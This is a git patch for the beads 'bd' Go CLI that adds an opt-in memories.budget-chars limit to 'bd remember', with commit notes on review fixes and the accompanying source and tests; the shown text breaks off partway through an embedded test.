$CODEX_HOME (or ~/.codex) ``` -These create or update a managed section in `AGENTS.md` (see Managed Sections above). `bd init` runs the project Codex setup automatically unless `--skip-agents` or `--stealth` is used. In worktree, shared, or `BEADS_DIR` setups, use `bd where` to confirm the resolved workspace — these integrations do not require a local `./.beads`. Restart the tool after setup if it is already running. +These create or update a managed section in `AGENTS.md` (see Managed Sections above). `bd init` runs the project Claude Code, Codex, and Cursor setup automatically unless `--skip-agents` or `--stealth` is used (or the repository is bare). In worktree, shared, or `BEADS_DIR` setups, use `bd where` to confirm the resolved workspace — these integrations do not require a local `./.beads`. Restart the tool after setup if it is already running. Details: [Factory.ai Droid](/integrations/factory), [Mux](/integrations/mux), [OpenCode](/integrations/opencode), [Codex](/integrations/codex). @@ -349,7 +365,7 @@ bd setup --print | Type | Description | Used by | |------|-------------|---------| -| `file` | Write the template to a single file | windsurf, cody, kilocode, kiro | +| `file` | Write the template to a single file | windsurf, cody, kilocode, kiro, cursor (which also installs a skill and hooks) | | `hooks` | Modify JSON settings to add hooks | claude, gemini | | `section` | Inject a marked section into an existing file | factory, codex, mux, opencode | | `multifile` | Write multiple files | aider, copilot, junie | From 1ea51450925f2710bfd598fb1cb628a6fa4fae80 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:04:06 +0000 Subject: [PATCH 127/325] =?UTF-8?q?feat(remember):=20opt-in=20memories.bud?= =?UTF-8?q?get-chars=20=E2=80=94=20warn=20at=2080%,=20refuse=20a=20write?= =?UTF-8?q?=20that=20crosses=20the=20corpus=20budget=20(--force=20override?= =?UTF-8?q?s)=20(#6508)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(remember): opt-in memories.budget-chars — refuse a write that crosses the corpus budget (wy-2pox7y) The wheelhouse-side tripwire only REPORTS the memory-corpus size, so the corpus re-trips red every few days and nothing has ever stopped the write that crossed the line. This is the stop. New config key `memories.budget-chars` (integer, default 0 = OFF), wired exactly like `prime.max-memory-chars`: recognized in cmd/bd/config.go, routed to yaml in internal/config YamlOnlyKeys (it is read through viper, so a DB-backed write would be accepted and then never read), validated non-negative at set time, and documented in docs/reference/configuration.md. With the budget ON, `bd remember` measures the corpus as the sum over every memory of len(key)+len(content) — BYTES, the same unit `bd prime`'s --max-memory-chars counts in — projected to AFTER the write would apply. An overwrite replaces that key's old content in the sum rather than adding to it, so a memory near the ceiling can still be edited. - over budget -> refused, nothing written, exit 1, one line on stderr - over budget + --force -> written, and the crossing is still announced - >= 80% and within -> written, then warned - below 80%, or budget 0 -> silent; with the budget off the corpus is not even read, so behavior is byte-identical to before Every line goes to STDERR, so --json output is never corrupted; a --json refusal additionally gets the normal machine-readable error object on stdout. The whole decision is one pure function (rememberBudgetVerdict), which is what lets the branches be pinned without a database. Tests run (targeted, never ./...): go build ./... rc 0 go vet ./cmd/bd/ ./internal/config/ rc 0 go test ./cmd/bd/ -run 'Memor|Remember|Prime|Budget' -count=1 rc 0 go test ./internal/config/ -count=1 rc 0 BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/ \ -run TestEmbeddedMemoryCorpusBudget -count=1 -v rc 0 (6/6 subtests) golangci-lint run --config=.golangci.yml --build-tags=gms_pure_go \ ./cmd/bd/... ./internal/config/... 0 issues in touched files (one pre-existing gosec G304 in internal/config/permissions_open_nonlinux.go) New tests: cmd/bd/memory_budget_pure_test.go (byte unit incl. multibyte, overwrite delta, budget-off silence, config read + negative clamp, the at-budget/one-over boundary, --force, the 80% warn band and its edges, unclamped percentage, single-line contract); cmd/bd/memory_embedded_test.go TestEmbeddedMemoryCorpusBudget (the same five spec points end to end against a real embedded-Dolt store, through `bd config set`, asserting the exact stderr lines, the nonzero exit, and that a refused write leaves the old content intact); internal/config/yaml_config_test.go validation + yaml-only routing. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_013XmKxqKuXTaKivDiCoBwBV * fix(remember): one --json refusal line, ceil on the over-budget percentage (wy-2pox7y) Review fixes on ca9f14d65d. Three items; one review item turned out to be a false alarm and is recorded here rather than acted on. - BLOCKER 1 (CLI docs regeneration) — NO CHANGE NEEDED, and that is the finding. docs/cli-reference/ and docs/CLI_REFERENCE.md are not generated from this checkout: docs/cli-docs.pin pins them to release tag v1.2.2, and scripts/generate-cli-docs.sh, check-cli-docs-drift.sh and check-doc-flags.sh all resolve that pin (resolve-docs-bd.sh) and build bd from the TAG, because the published docs site describes the latest release, not main's source. No CI path sets BD_DOCS_IGNORE_PIN. So changing `bd remember`'s help surface on main cannot move the generated docs, and it did not: ./scripts/generate-cli-docs.sh ran to completion ("Generated CLI docs from: bd version 1.2.2 (dev)") and left the tree clean — zero diff. The gate is green at this commit and was green at ca9f14d65d. The --force flag and the Corpus budget paragraph reach the docs when the pin is bumped at release. - NIT 1: the --json refusal said the same sentence twice, prose on stderr AND the envelope on stdout. It now says it ONCE, the way HandleErrorWithHintRespectJSON does it: --json gets only the stdout envelope, every other route gets the bare sentence on stderr. New subtest TestEmbeddedMemoryCorpusBudget/json_refusal_is_said_once asserts a nonzero exit, EXACTLY one JSON document on stdout (a second Decode must be io.EOF), the refusal sentence inside the envelope, a stderr with no "memory corpus" in it, and that the refused write left the old content intact. - NIT 2: floor arithmetic made the refusal at 201 of 200 read "(100%)" — the exactly-at-budget value this code deliberately ALLOWS, so the refusal wore the number of the case it is not. The percentage now CEILINGS over the budget (101%) and still FLOORS within it. The split is on the VALUE, not on --force, so one projection cannot report two different percentages depending on a flag; that is why the forced over-budget line moved too. TestRememberBudgetVerdictBoundary, TestRememberBudgetVerdictForceWrites and TestMemoryBudgetLinePercentIsUnclamped updated; the warn band gains a 999-of-1000 case pinning the floor inside the budget, so "100%" can only ever mean at-budget. - NIT 5: one comment at the List/Remember seam saying the budget is ADVISORY and not atomic — the two are separate transactions, so concurrent writers can both measure inside the budget and both land. No locking. Nits 3 (primeConfigInt duplication) and 4 were left alone by instruction. Gates run from the worktree: go build ./... rc 0 go vet ./cmd/bd/ ./internal/config/ rc 0 go test ./cmd/bd/ -run 'Memor|Remember|Prime|Budget' -count=1 rc 0 go test ./internal/config/ -count=1 rc 0 BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/ \ -run TestEmbeddedMemoryCorpusBudget -count=1 -v rc 0 (7/7) gofmt -l cmd/bd internal/config no output golangci-lint run ./cmd/bd/ ./internal/config/ 1 issue, all pre-existing: gosec G304 in internal/config/permissions_open_nonlinux.go (last touched f4d496fed, not by this branch) ./scripts/check-cli-docs-drift.sh rc 0 ./scripts/check-doc-flags.sh rc 0 Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01JFSKdUYCTyuhBM97tHyoye * ci: list the PR's tests in the embedded shard manifest and cmd/bd BUILD.bazel #7156 made the embedded-Dolt shard manifests exact-once, and Bazel equivalence requires every test file in the go_test srcs. Adds TestEmbeddedMemoryCorpusBudget (generator output, incremental) and memory_budget_pure_test.go (the line CI's bazel-sync patch printed). Co-Authored-By: Claude Fable 5.1 * fix(remember): budget the key ResolveKey writes; hint on stderr too Review fixes for #6508 (apply-fixes iteration 1; all minor or nit): - The budget credits an overwrite under memoryapi.ResolveKey's key, the one rule every Remember implementation writes under, instead of a parallel flag-else-derived copy of it. A write ResolveKey refuses skips the budget, so a whitespace-only --key gets the role's "memory key must not be empty" instead of an over-budget refusal that points at --force. - The stderr refusal now carries the same hint as the --json envelope (raise the budget, forget a memory, or --force), printed the way HandleErrorWithHintRespectJSON prints one. - The memoryCorpusChars comment and `bd remember --help` no longer imply that a budget equal to prime.max-memory-chars keeps prime from eliding memories: the unit (bytes) is the same, but prime counts each memory as rendered, markup included, so the budget has to sit below that cap for that. - New embedded pins: a write without --key that crosses the budget is refused with exit 1 and writes nothing; a blank --key gets the validation error; the Hint line is on stderr and not under --json. Each pin was checked red against a mutant of the code it guards. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 1 + cmd/bd/BUILD.bazel | 1 + cmd/bd/config.go | 4 + cmd/bd/memory.go | 182 +++++++++++++ cmd/bd/memory_budget_pure_test.go | 258 +++++++++++++++++++ cmd/bd/memory_embedded_test.go | 224 ++++++++++++++++ docs/reference/configuration.md | 3 +- internal/config/yaml_config.go | 13 + internal/config/yaml_config_test.go | 47 ++++ 9 files changed, 732 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/memory_budget_pure_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 535bf8d06..11dc95811 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -293,6 +293,7 @@ 50 16 TestEmbeddedGateInheritsDownParentChain 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady +50 16 TestEmbeddedMemoryCorpusBudget 50 16 TestEmbeddedOpen_EmptyDatabaseRejected 50 16 TestEmbeddedRestoreConcurrent 50 16 TestEmbeddedVCCommitVariantsAndMerge diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 765e55702..21a8fe722 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -918,6 +918,7 @@ go_test( "markdown_test.go", "max_rows_embedded_test.go", "max_rows_test.go", + "memory_budget_pure_test.go", "memory_embedded_test.go", "memory_proxied_integration_test.go", "memory_pure_test.go", diff --git a/cmd/bd/config.go b/cmd/bd/config.go index a475f89d2..64cd85b55 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -1356,6 +1356,10 @@ var recognizedConfigKeys = map[string]bool{ "auto_compact_enabled": true, "schema_version": true, "output.title-length": true, "prime.max-memories": true, "prime.max-memory-chars": true, + // Opt-in ceiling on the persistent-memory corpus, enforced by `bd + // remember` (0 = off). Yaml-only for the same reason the prime caps are: + // it is read through viper, so a DB-backed write would never be seen. + "memories.budget-chars": true, // The events-journal family. All four are startup settings that land in // config.yaml (config.YamlOnlyKeys), and every one of them is documented as // a `bd config set` invocation — including the auto-prune opt-out, where an diff --git a/cmd/bd/memory.go b/cmd/bd/memory.go index ef4746358..944ec014a 100644 --- a/cmd/bd/memory.go +++ b/cmd/bd/memory.go @@ -9,6 +9,7 @@ import ( "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/memoryapi" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage/kvkeys" @@ -106,6 +107,112 @@ func matchesKnownCommand(cmd *cobra.Command, insight string) (string, bool) { return "", false } +// memoryForceFlag is `bd remember --force`: write even when the corpus budget +// would be crossed. It only has meaning when memories.budget-chars is set. +var memoryForceFlag bool + +// memoryConfigInt reads an integer config key (stubbable for tests), the way +// primeConfigInt does for the prime-side injection caps. +var memoryConfigInt = func(key string) int { + return config.GetInt(key) +} + +// memoryCorpusBudget resolves the memories.budget-chars ceiling. 0 — the +// default — means OFF, and so does a negative value: the budget is opt-in, and +// a nonsense setting must not turn into a refusal the operator never asked for. +func memoryCorpusBudget() int { + budget := memoryConfigInt("memories.budget-chars") + if budget < 0 { + return 0 + } + return budget +} + +// memoryCorpusChars sums len(key)+len(content) over a corpus. +// +// The unit is BYTES (Go len), deliberately the same unit prime's +// --max-memory-chars cap counts in, so the two numbers are comparable. They are +// not the same MEASURE: prime counts each entry as it renders it — the key and +// value plus a few bytes of heading or bullet markup per memory, and the +// compact form truncates long values — so a corpus sitting exactly at a budget +// equal to prime.max-memory-chars can still have memories elided at injection. +// A budget meant to keep prime from eliding anything has to sit below that cap. +func memoryCorpusChars(memories map[string]string) int { + total := 0 + for k, v := range memories { + total += len(k) + len(v) + } + return total +} + +// projectedMemoryCorpusChars is that sum AFTER a write of content under key +// would apply. An OVERWRITE replaces the key's old content in the sum instead +// of adding to it — the delta, not the sum — which is what makes editing an +// existing memory possible at all once a corpus is near its ceiling. +func projectedMemoryCorpusChars(existing map[string]string, key, content string) int { + total := memoryCorpusChars(existing) + if old, ok := existing[key]; ok { + total -= len(key) + len(old) + } + return total + len(key) + len(content) +} + +// memoryBudgetLine renders the ONE stderr line the budget check emits, and +// says whether the write must be refused. +// +// Three outcomes, in order of severity: +// - over budget, no --force: refuse, naming the override. +// - over budget with --force: write, but SAY SO — a forced crossing that +// printed nothing would make the budget invisible exactly when it matters. +// - at or above 80% of budget and within it: write, warn. That is the whole +// point of a budget over a tripwire: the warning arrives while there is +// still room to act on it. +// +// Below 80%, and whenever the budget is off, it returns "" and the command is +// silent — byte-identical to the pre-budget behavior. +// +// The percentage FLOORS within the budget and CEILINGS over it, and the +// rounding is not cosmetic: floor(201*100/200) is 100, and "100%" is exactly +// the at-budget reading this code deliberately ALLOWS — so a floored refusal +// would report the number of the case it is not. Ceiling above the line makes +// every over-budget line read 101% or more, and the split is on the VALUE, not +// on --force, so the same projection never reports two different percentages +// depending on a flag. Both forms are int64 arithmetic, so a large budget +// cannot overflow the comparison. +func memoryBudgetLine(projected, budget int, force bool) (line string, refuse bool) { + if budget <= 0 { + return "", false + } + pct := int(int64(projected) * 100 / int64(budget)) + if projected > budget { + pct = int((int64(projected)*100 + int64(budget) - 1) / int64(budget)) + } + switch { + case projected > budget && !force: + return fmt.Sprintf("bd remember: memory corpus would be %d chars, budget is %d (%d%%) — refused; use --force to override", projected, budget, pct), true + case projected > budget: + return fmt.Sprintf("bd remember: memory corpus at %d of %d chars (%d%%) — over budget, written anyway (--force)", projected, budget, pct), false + case int64(projected)*5 >= int64(budget)*4: + return fmt.Sprintf("bd remember: memory corpus at %d of %d chars (%d%%)", projected, budget, pct), false + } + return "", false +} + +// rememberBudgetVerdict is the whole budget decision as ONE pure function: +// given the corpus as it stands, the write about to be made, the budget and +// --force, it answers with the line to print (empty = say nothing) and whether +// the write must be refused. The command around it only has to fetch the +// corpus and obey. +// +// Keeping it pure is what lets every branch — off, boundary, overwrite delta, +// force, warn — be pinned by a test that needs neither a database nor cgo. +func rememberBudgetVerdict(existing map[string]string, key, content string, budget int, force bool) (line string, refuse bool) { + if budget <= 0 { + return "", false + } + return memoryBudgetLine(projectedMemoryCorpusChars(existing, key, content), budget, force) +} + // rememberBareKeyPath implements the desire-path / footgun guard for // `bd remember ` (no --key): a bare slug naming an EXISTING memory // is recalled instead of stored; a bare slug naming nothing is refused. The @@ -247,6 +354,14 @@ unless --key is given). As a convenience, if the arg is a bare key naming an existing memory, it is RECALLED instead of stored (same as 'bd recall'); a bare key naming nothing is refused. Use --key to store slug-like content. +Corpus budget (opt-in, off by default): set the memories.budget-chars config +key to a byte ceiling for the whole memory corpus (sum of len(key)+len(content)). +A write that would cross it is refused, and --force overrides; a write that +lands at or above 80% of the budget warns. With the key unset nothing changes. +bd prime's --max-memory-chars also counts bytes, but of each memory as +injected, formatting included, so a budget equal to that cap does not +guarantee prime injects every memory; set the budget below it for that. + Examples: bd remember "always run tests with -race flag" bd remember "Dolt phantom DBs hide in three places" --key dolt-phantoms @@ -324,6 +439,68 @@ Examples: return rememberBareKeyPath(derived, insight, recalled.Value) } + // Corpus budget (memories.budget-chars, OPT-IN, 0 = off). The + // wheelhouse-side tripwire only REPORTS the corpus size, so the corpus + // re-trips red every few days and nothing ever stops the write that + // crossed the line. This is the stop. + // + // It sits here, between the read-shaped branches above and the write + // below, because it is the last thing that can decide NOT to write — + // and above the role because a budget is a front-door policy, not a + // property of the memory plane (an HTTP POST must not inherit it). + // + // When the budget is off the whole block is skipped: no extra List, no + // output, nothing. Behavior is then byte-identical to the pre-budget + // command, which is what TestRememberBudgetVerdictOffIsSilent and the embedded + // budget_off_is_silent case pin. + // + // The key an overwrite is credited against is ResolveKey's, the one + // rule every Remember implementation lands a write under, so it cannot + // drift from the store's key. A write ResolveKey refuses (empty + // content, a whitespace-only --key, content that derives no key) skips + // the budget: Remember refuses it below with its own validation + // sentence, and a refused write crosses nothing. + budgetKey, budgetKeyErr := memoryapi.ResolveKey(memoryKeyFlag, insight) + var budgetLine string + if budget := memoryCorpusBudget(); budget > 0 && budgetKeyErr == nil { + // ADVISORY, not atomic: this List and the Remember below are + // separate transactions, so two concurrent writers can both measure + // a corpus inside the budget and both land, leaving it over. The + // budget is a guardrail against a corpus drifting past its ceiling + // one deliberate write at a time, not a hard limit — no locking. + corpus, err := memories.List(rootCtx, memoryops.ListRequest{}) + if err != nil { + return HandleErrorRespectJSON("reading the memory corpus for the budget check: %v", err) + } + line, refuse := rememberBudgetVerdict(corpus.Memories, budgetKey, insight, budget, memoryForceFlag) + if refuse { + // The budget line IS the refusal sentence, so it prints as + // itself: routing it through HandleError would prefix it with + // "Error: " and reword text agents will match on. + // + // It is said ONCE, on exactly one stream, the way + // HandleErrorWithHintRespectJSON does it: --json gets only the + // machine-readable envelope on stdout (printing the prose to + // stderr as well would make the same refusal arrive twice), + // and every other route gets the bare sentence on stderr, + // where it can never corrupt structured output. Both routes + // carry the same hint, so a terminal user is offered the same + // ways out as a JSON consumer. + const hint = "raise memories.budget-chars, forget a memory, or pass --force" + if jsonOutput { + jsonStdoutError(line, hint) + } else { + fmt.Fprintln(os.Stderr, line) + fmt.Fprintf(os.Stderr, "Hint: %s\n", hint) + } + return SilentExit() + } + // Not a refusal: the write happens first and the line reports the + // corpus that now exists, so no line ever describes a write that + // did not land. + budgetLine = line + } + result, err := memories.Remember(rootCtx, memoryops.RememberRequest{Key: memoryKeyFlag, Content: insight}) if err != nil { // The role's two refusals ARE this command's shipped sentences — @@ -338,6 +515,10 @@ Examples: } noteDirectMemoryWrite() + if budgetLine != "" { + fmt.Fprintln(os.Stderr, budgetLine) + } + // Remembered versus Updated is Replaced, observed in the SAME // transaction as the write. The shipped code read the row first and // described a moment that had already passed. @@ -485,6 +666,7 @@ func truncateMemory(s string, maxLen int) string { func init() { rememberCmd.Flags().StringVar(&memoryKeyFlag, "key", "", "Explicit key for the memory (auto-generated from content if not set). If a memory with this key already exists, it will be updated in place") + rememberCmd.Flags().BoolVar(&memoryForceFlag, "force", false, "Store even when the write would cross the memories.budget-chars corpus budget (no effect when the budget is unset)") rootCmd.AddCommand(rememberCmd) rootCmd.AddCommand(memoriesCmd) diff --git a/cmd/bd/memory_budget_pure_test.go b/cmd/bd/memory_budget_pure_test.go new file mode 100644 index 000000000..69a524d1d --- /dev/null +++ b/cmd/bd/memory_budget_pure_test.go @@ -0,0 +1,258 @@ +// Pure-Go tests for the `bd remember` corpus budget (memories.budget-chars). +// No cgo / Dolt dependency, so this file carries no build tag and compiles +// under CGO_ENABLED=0 with gms_pure_go, exactly like memory_pure_test.go. +// +// The whole budget decision lives in one pure function (rememberBudgetVerdict), +// so every branch the knob has — off, boundary, overwrite delta, --force, the +// 80% warn — is pinned here without a database. The end-to-end plumbing (the +// stderr routing and the nonzero exit) is pinned against a real store by +// TestEmbeddedMemoryCorpusBudget in memory_embedded_test.go. + +package main + +import ( + "fmt" + "strings" + "testing" +) + +// budgetCorpus builds a corpus whose measured size is exactly want bytes, +// under a single key. len(key)+len(content) is the unit the budget counts in, +// so the content is padded to want-len(key). +func budgetCorpus(t *testing.T, key string, want int) map[string]string { + t.Helper() + if want < len(key) { + t.Fatalf("corpus of %d bytes cannot hold key %q (%d bytes)", want, key, len(key)) + } + corpus := map[string]string{key: strings.Repeat("x", want-len(key))} + if got := memoryCorpusChars(corpus); got != want { + t.Fatalf("corpus fixture measured %d bytes, want %d", got, want) + } + return corpus +} + +// TestMemoryCorpusCharsCountsKeyAndContentBytes pins the UNIT: bytes of +// len(key)+len(content), the same unit prime's --max-memory-chars counts in. +// A rune-counting implementation would disagree on any non-ASCII memory, which +// is why the multibyte case is here. +func TestMemoryCorpusCharsCountsKeyAndContentBytes(t *testing.T) { + if got := memoryCorpusChars(nil); got != 0 { + t.Fatalf("empty corpus = %d, want 0", got) + } + corpus := map[string]string{"ab": "cde", "f": "gh"} + if got, want := memoryCorpusChars(corpus), 2+3+1+2; got != want { + t.Fatalf("corpus = %d, want %d", got, want) + } + // "é" is two bytes; the budget must see two. + if got, want := memoryCorpusChars(map[string]string{"k": "é"}), 3; got != want { + t.Fatalf("multibyte corpus = %d, want %d (bytes, not runes)", got, want) + } +} + +// TestProjectedMemoryCorpusCharsOverwriteCountsDelta is spec point (c): an +// overwrite REPLACES the key's old content in the sum instead of adding to it. +// Without this, editing one memory down to nothing would still read as growth +// and a corpus at its ceiling could never be repaired. +func TestProjectedMemoryCorpusCharsOverwriteCountsDelta(t *testing.T) { + existing := map[string]string{"k": "aaaa", "other": "bb"} // 1+4 + 5+2 = 12 + + // New key: pure addition. + if got, want := projectedMemoryCorpusChars(existing, "new", "xyz"), 12+3+3; got != want { + t.Errorf("new key projection = %d, want %d", got, want) + } + // Overwrite with longer content: only the delta lands. + if got, want := projectedMemoryCorpusChars(existing, "k", "aaaaaa"), 12+2; got != want { + t.Errorf("growing overwrite projection = %d, want %d", got, want) + } + // Overwrite with shorter content: the corpus SHRINKS. + if got, want := projectedMemoryCorpusChars(existing, "k", "a"), 12-3; got != want { + t.Errorf("shrinking overwrite projection = %d, want %d", got, want) + } + // Identical rewrite: no change at all. + if got, want := projectedMemoryCorpusChars(existing, "k", "aaaa"), 12; got != want { + t.Errorf("identical overwrite projection = %d, want %d", got, want) + } + // A key whose stored value is empty still has its key counted once, not twice. + empty := map[string]string{"k": ""} + if got, want := projectedMemoryCorpusChars(empty, "k", "zz"), 3; got != want { + t.Errorf("empty-valued overwrite projection = %d, want %d", got, want) + } +} + +// TestRememberBudgetVerdictOffIsSilent is spec point (a): with the budget unset +// (or 0, or a nonsense negative) nothing is ever refused and nothing is ever +// printed, no matter how large the corpus is. +func TestRememberBudgetVerdictOffIsSilent(t *testing.T) { + huge := budgetCorpus(t, "k", 1_000_000) + for _, budget := range []int{0, -1, -1000} { + for _, force := range []bool{false, true} { + line, refuse := rememberBudgetVerdict(huge, "new", strings.Repeat("y", 5000), budget, force) + if refuse || line != "" { + t.Fatalf("budget=%d force=%v: budget-off must be silent, got refuse=%v line=%q", budget, force, refuse, line) + } + } + } +} + +// TestMemoryCorpusBudgetReadsConfig pins the config read, including the clamp +// that keeps a negative value meaning OFF rather than "refuse everything". +func TestMemoryCorpusBudgetReadsConfig(t *testing.T) { + orig := memoryConfigInt + t.Cleanup(func() { memoryConfigInt = orig }) + + values := map[string]int{} + memoryConfigInt = func(key string) int { return values[key] } + + if got := memoryCorpusBudget(); got != 0 { + t.Fatalf("unset budget = %d, want 0 (off)", got) + } + values["memories.budget-chars"] = 4096 + if got := memoryCorpusBudget(); got != 4096 { + t.Fatalf("configured budget = %d, want 4096", got) + } + values["memories.budget-chars"] = -5 + if got := memoryCorpusBudget(); got != 0 { + t.Fatalf("negative budget = %d, want 0 (off)", got) + } +} + +// TestRememberBudgetVerdictBoundary is spec point (b): a projection exactly AT +// the budget writes; exactly one byte over refuses. The two cases differ by a +// single byte of content, so nothing but the comparison can explain a failure. +func TestRememberBudgetVerdictBoundary(t *testing.T) { + const budget = 200 + // Corpus at 100 bytes; the new memory's key costs 3. + existing := budgetCorpus(t, "old", 100) + + // Exactly at the budget: 100 + 3 + 97 = 200. Writes (and warns: 100%). + atBudget, refuse := rememberBudgetVerdict(existing, "new", strings.Repeat("z", 97), budget, false) + if refuse { + t.Fatalf("a projection exactly at the budget must write, got refusal %q", atBudget) + } + if !strings.Contains(atBudget, "at 200 of 200 chars (100%)") { + t.Errorf("at-budget line = %q, want the 100%% warn line", atBudget) + } + + // One byte over: 201. Refused. + over, refuse := rememberBudgetVerdict(existing, "new", strings.Repeat("z", 98), budget, false) + if !refuse { + t.Fatalf("a projection one byte over the budget must refuse, got line %q", over) + } + // 201 of 200 is 100.5%, and it must NOT round down into "100%": that is the + // at-budget reading the case just above deliberately ALLOWS, so a floored + // refusal would wear the number of the case it is not. Over the line the + // percentage ceilings. + want := "bd remember: memory corpus would be 201 chars, budget is 200 (101%) — refused; use --force to override" + if over != want { + t.Errorf("refusal line =\n %q\nwant\n %q", over, want) + } +} + +// TestRememberBudgetVerdictForceWrites is spec point (d): --force turns the +// refusal into a write, and STILL prints a line — a forced crossing that said +// nothing would make the budget invisible exactly when it matters most. +func TestRememberBudgetVerdictForceWrites(t *testing.T) { + existing := budgetCorpus(t, "old", 100) + + line, refuse := rememberBudgetVerdict(existing, "new", strings.Repeat("z", 98), 200, true) + if refuse { + t.Fatalf("--force must not refuse, got refusal %q", line) + } + if line == "" { + t.Fatal("--force over budget must still print a line") + } + // (101%), not (100%): the ceiling over the budget is a property of the + // VALUE, so the same projection cannot report two different percentages + // depending on whether --force was passed. + for _, want := range []string{"201", "200", "(101%)", "--force"} { + if !strings.Contains(line, want) { + t.Errorf("forced line %q is missing %q", line, want) + } + } + if strings.Contains(line, "refused") { + t.Errorf("forced line must not claim a refusal: %q", line) + } +} + +// TestRememberBudgetVerdictWarnBand is spec point (e) plus its two edges: below +// 80% of the budget the command is silent (today's behavior), and from 80% up +// to the budget it writes AND warns. +func TestRememberBudgetVerdictWarnBand(t *testing.T) { + const budget = 1000 + cases := []struct { + name string + projected int + wantLine bool + wantPct int + }{ + {"well below", 100, false, 0}, + {"one byte under the warn band", 799, false, 0}, + {"exactly 80 percent", 800, true, 80}, + {"inside the band", 950, true, 95}, + // One byte under: 99.9%, which must FLOOR to 99. Within the budget the + // rounding goes down, so "100%" belongs to the exactly-at-budget case + // alone and never to a projection that merely rounds up to it. + {"one byte under the budget", 999, true, 99}, + {"exactly at budget", 1000, true, 100}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + // Project by writing a fresh key of known cost into an empty corpus. + key := "k" + content := strings.Repeat("q", tc.projected-len(key)) + line, refuse := rememberBudgetVerdict(map[string]string{}, key, content, budget, false) + if refuse { + t.Fatalf("projection %d of %d must not refuse", tc.projected, budget) + } + if !tc.wantLine { + if line != "" { + t.Fatalf("projection %d of %d must be silent, got %q", tc.projected, budget, line) + } + return + } + want := fmt.Sprintf("bd remember: memory corpus at %d of %d chars (%d%%)", tc.projected, budget, tc.wantPct) + if line != want { + t.Errorf("warn line =\n %q\nwant\n %q", line, want) + } + }) + } +} + +// TestMemoryBudgetLinePercentIsUnclamped pins the arithmetic: over the budget +// the percentage is ceil(projected*100/budget) and is NOT clamped at 100, so a +// corpus forced well past its ceiling reports how far past it actually is. A +// clamp here would make 101% and 400% read identically — exactly the reading an +// operator needs. The ceiling is what keeps an over-budget line off the "100%" +// that means at-budget-and-allowed. +func TestMemoryBudgetLinePercentIsUnclamped(t *testing.T) { + cases := []struct { + projected, budget int + want string + }{ + {101, 100, "(101%)"}, + {201, 200, "(101%)"}, // ceil(100.5) — never floors back onto at-budget + {400, 100, "(400%)"}, // exact: ceil and floor agree + {1001, 1000, "(101%)"}, + } + for _, tc := range cases { + line, _ := memoryBudgetLine(tc.projected, tc.budget, false) + if !strings.Contains(line, tc.want) { + t.Errorf("memoryBudgetLine(%d, %d) = %q, want it to contain %q", tc.projected, tc.budget, line, tc.want) + } + } +} + +// TestMemoryBudgetLineHasNoTrailingNewline guards the "ONE line" contract: the +// callers add the newline, so a line that carried its own would print a blank +// line into stderr between the warning and whatever follows. +func TestMemoryBudgetLineHasNoTrailingNewline(t *testing.T) { + for _, force := range []bool{false, true} { + line, _ := memoryBudgetLine(500, 100, force) + if line == "" { + t.Fatalf("force=%v: expected an over-budget line", force) + } + if strings.ContainsAny(line, "\n\r") { + t.Errorf("force=%v: budget line must be a single line, got %q", force, line) + } + } +} diff --git a/cmd/bd/memory_embedded_test.go b/cmd/bd/memory_embedded_test.go index 694a7200f..c39735030 100644 --- a/cmd/bd/memory_embedded_test.go +++ b/cmd/bd/memory_embedded_test.go @@ -3,7 +3,10 @@ package main import ( + "encoding/json" + "errors" "fmt" + "io" "os" "os/exec" "path/filepath" @@ -486,3 +489,224 @@ func TestEmbeddedMemoryConcurrent(t *testing.T) { t.Fatal("expected at least 1 worker to succeed") } } + +// bdRememberBuffers runs "bd remember" and hands back stdout, stderr and the +// error separately. The budget's lines are STDERR by contract — that is what +// keeps them out of --json output — so a helper that folds the two streams +// together cannot test them. +func bdRememberBuffers(t *testing.T, bd, dir string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, append([]string{"remember"}, args...)...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err +} + +// TestEmbeddedMemoryCorpusBudget exercises memories.budget-chars against a REAL +// store, end to end: the config key routed through `bd config set`, the corpus +// measured from rows that are actually there, the refusal's nonzero exit, and +// the fact that a refused write leaves NOTHING behind. +// +// The arithmetic below is exact and deliberate — every content length is chosen +// so the projected corpus lands on a named boundary — because a budget test +// that only asserts "some line appeared" would pass with an off-by-one budget. +// The pure branch coverage lives in memory_budget_pure_test.go; this is the +// wiring. +func TestEmbeddedMemoryCorpusBudget(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + + // ===== Budget OFF: byte-identical to the pre-budget command ===== + t.Run("budget_off_is_silent", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mb") + stdout, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("x", 5000), "--key", "big") + if err != nil { + t.Fatalf("remember with no budget failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, 